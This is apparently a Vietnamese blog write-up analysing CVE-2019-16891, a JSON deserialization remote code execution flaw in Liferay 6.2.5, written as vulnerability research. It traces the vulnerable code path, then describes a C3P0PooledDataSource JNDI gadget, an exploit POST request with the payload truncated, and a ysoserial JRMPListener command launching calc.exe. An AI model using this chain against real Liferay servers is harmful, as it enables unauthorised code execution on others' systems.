Tìm hiểu CVE-2019-16891 - Liferay JSON Deserialization to RCE

theme

Setup debug

Liferay 6.2.5 gồm luôn tomcat server: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.2.5%20GA6/

  • Server: Giải nén file trên, config 1 vài cái nhỏ nhỏ theo guide rồi start tomcat server ở mode jpda: .\catalina jpda start (ở đây mình dùng java 1.8)
  • Client: Open file or project –> ROOT folder trong webapps(chỉ cần debug folder này) –> Load –> Edit configuration –> Remote JVM Debug –> Config port 8000(jpda default chạy port 8000) –> Debug

Nếu thấy các thư viện đã được load trong Project Structure mà chưa thấy ở External Library thì nhớ set JDK ở intellij

Debug

Liferay JSON deserialization là lỗ hổng liên quan đến việc json deserialization

Biết được entrypoint: JSONFactoryImpl liên quan đến json convert và deserialize, mình set breakpoint tại đây. Ở đây có rất nhiều method như looseDeserializeSafe, looseDeserialize, createJSONObject,… nên mình cứ rải break point, dính cái nào thì xem.

Bấm tổ hợp Ctrl + N (Find class): JSONFactoryImpl –> Ctrl + F12 (Find Method trong class): deserialize(String) –> Set breakpoint deserialize

Ta fuzz các entrypoint cho đến khi request hit breakpoint(mình đôi khi đợi 1 tí mới dính breakpoint hoặc sau tận mấy cái requests), thử với tính năng login thì đã hit, bấm Show All Frames(nút phễu chỗ tab debug) để list ra các frame trước khi hit breakpoint này: Frames

=> Bug cần authenticated mới exploit được.

Note:

  • URL login: /web/guest/home
  • Breakpoint reached method: JSONFactoryImpl.deserialize(String)
  • URL trigger: POST /poller/receive với param: pollerRequest
  • Trace:
// Từ web.xml: <url-pattern>/poller/*</url-pattern>
PollerServlet.service()
    PollerServlet.getContent()
        PollerRequestHandlerUtil.getPollerHeader()
            PollerRequestHandlerImpl.getPollerHeader()
                PollerRequestHandlerImpl.parsePollerRequestParameters()
                    JSONFactoryImpl.deserialize()

==> ta được source đến đoạn call deserialize JSON.

JSON Deserialize

Đầu tiên:

JSONFactoryImpl.deserialize(String json)
    org.jabsorb.JSONSerializer.fromJSON(json)
        JSONSerializer.unmarshall()

Method JSONSerializer.getSerializer(): getSerializer

Đọc sơ sơ qua thì có thể thấy method này thực hiện lấy một loại serializer (class) thích hợp cho đoạn JSON String và thực hiện deserialize (unmarshall) nó theo cái serializer đó.

getClassFromHint() lấy tên class từ key javaClass trong json ta truyền vào.

Set breakpoint tại method getSerializer() để tìm các class thực hiện việc unmarshall: breakpoint_getSerializer

Đây là những list những class có thể sẽ unmarshall object JSON truyền vào, được xét từ trên xuống dưới(class nào canSerialize thì trả về luôn): Locale, Liferay, Primitive, Boolean,… Trong các target class này thì có org.jabsorb.serializer.impl.BeanSerializer là có thể lợi dụng được!

Bởi method unmarshall() của BeanSerializerinvoke Setter Method của cái object được khởi tạo từ JSON String ra, BeanSerializer.unmarshall(): unmarshall

Với field là param key, dòng này lấy setter method của field từ class bd(class thỏa mãn canSerialize của BeanSerializer).

Method setMethod = (Method)bd.writableProps.get(field);

Nếu setMethod tồn tại, lấy params type sau đó với this.ser.unmarshall lấy value của field(key)

Class[] param = setMethod.getParameterTypes();
fieldVal = this.ser.unmarshall(state, param[0], jso.get(field));

Cuối cùng là invoke method: invoke

Để trigger được unmarshall() bằng BeanSerializer thì class để trigger setter method không được implement Serializable, bởi nếu class này Serializable thì nó sẽ thỏa mãn ngay ở LiferaySerializer(đứng trước BeanSerializer) khi gọi method getSerialize(), class này không lợi dụng để làm được gì!

Tóm tắt lại về cái Source class có thể trigger được BeanSerializer này là 1 class có dạng Managed Bean:

  1. Có public constructor không có arg (BeanSerializer tạo instance của class với clazz.newInstance() cái invoke zero-argument constructor)
  2. Không implement Serializable (Né class LiferaySerializer)
  3. Có setter method có thể lợi dụng được! (setMethod)

Exploit

Class thỏa mãn các điều kiện trên là C3P0PooledDataSource thuộc library c3p0, việc utilize class này trong khai thác deserialization (đặc biệt là json) đã được publish tại: https://github.com/mbechler/marshalsec

Class này có emty constructor, không implements Serializeable: C3P0PooledDataSource

Có setter method có thể lợi dụng để deserialize object khi tạo một jndi connection: setter

JDNI hay Java Naming and Directory Interface là một API Java cho phép lookup đến nhiều services khác nhau như LDAP, RMI, CORBA, trong đó có thể lợi dụng service như RMI để call đến remote server trả về serialized object để khiến Liferay thực hiện deserialize.

BeanSerializer.unmarshall()
    C3P0PooledDataSource.setJndiName.invoke(instance, jndiName)
        C3P0PooledDataSource.rebind(jndiName, obj)

Build payload

  1. pollerRequest có đi qua this.fixPollerRequestString(pollerRequestString) chỗ PollerRequestHandlerImpl.parsePollerRequestParameters():
protected String fixPollerRequestString(String pollerRequestString) {
    return Validator.isNull(pollerRequestString) ? null : StringUtil.replace(pollerRequestString, new String[]{"{", "}", "[$OPEN_CURLY_BRACE$]", "[$CLOSE_CURLY_BRACE$]"}, new String[]{"{\"javaClass\":\"java.util.HashMap\",\"map\":{", "}}", "{", "}"});
}

Ở đây mọi request sẽ replace { để thêm javaClass với class HashMap, ta dùng [$OPEN_CURLY_BRACE$] để tự define javaClass, cái chính là C3P0PooledDataSource(cái được gán cho clazz).

  1. Key jndiName là field với setter method setJndiName mà value chính là url connect đến JRMPListener.

POST Request:

POST /poller/anything HTTP/1.1
Host: localhost:8080
Content-Length: 161
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

pollerRequest=<xin-phep-truncated>

Command listening RMI connection kèm kết quả:

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 calc.exe

Have connection from /10.1.62.144:19234
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection

Thành công, PoC trigger pop up calc.exe demo RCE. Chỗ này do lab xong mình quên chụp PoC, lúc viết blog thì lười chụp lại quá hic!

Path and Bypass

New endpoint: https://dappsec.substack.com/p/an-advisory-for-cve-2019-16891-from Unauthen tuy nhiên mặc định endpoint trên bị disable trong liferay nên tùy thuộc cấu hình mới xúc được:

POST /c/portal/portlet_url HTTP/1.1
Host: liferay.victim.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

parameterMap={"Json payload for deserialization in here!"}

new_endpoint

References